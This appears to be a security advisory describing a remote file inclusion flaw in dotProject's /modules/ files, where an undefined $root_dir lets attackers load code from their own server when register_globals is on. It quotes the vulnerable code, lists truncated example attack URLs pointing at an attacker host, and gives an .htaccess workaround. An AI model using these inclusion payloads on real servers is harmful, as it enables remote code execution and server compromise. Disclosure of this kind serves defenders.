Vulnerability:
----------------------


dotproject is a PHP+MySQL beta level web based project management and tracking tool
that dotmarketing started in Dec. 2000.
Inside the directory /modules/ multiple files try to include classdefs/date.php
without defining $root_dir first and allow remote attackers to inject their own
servers if globals are set on.

Example Code from modules/projects/addedit.php:

******

<?php
##
## Files modules: index page re-usable sub-table
##

require_once( "$root_dir/classdefs/date.php" );
$df = $AppUI->getPref('SHDATEFORMAT');
$tf = $AppUI->getPref('TIMEFORMAT');

******

As you can see nothing happens before the require_once function is called and therefore
with globals set on an attacker may include remote files.

Example:

http://victim/dotproject/modules/fil...ttp://attacker

this works also on

http://victim/dotproject/modules/pro...ttp://attacker
http://victim/dotproject/modules/pro...ttp://attacker
http://victim/dotproject/modules/pro...ttp://attacker
http://victim/dotproject/modules/tas...ttp://attacker
http://victim/dotproject/modules/tas...ttp://attacker


----------------------
Solution:
----------------------

Please check the vendor's website for new patches.

As a temporary solution, create a .htaccess file that contains 'Deny from all'.
Place it in the /modules/ directory and that should block remote users from accessing it.
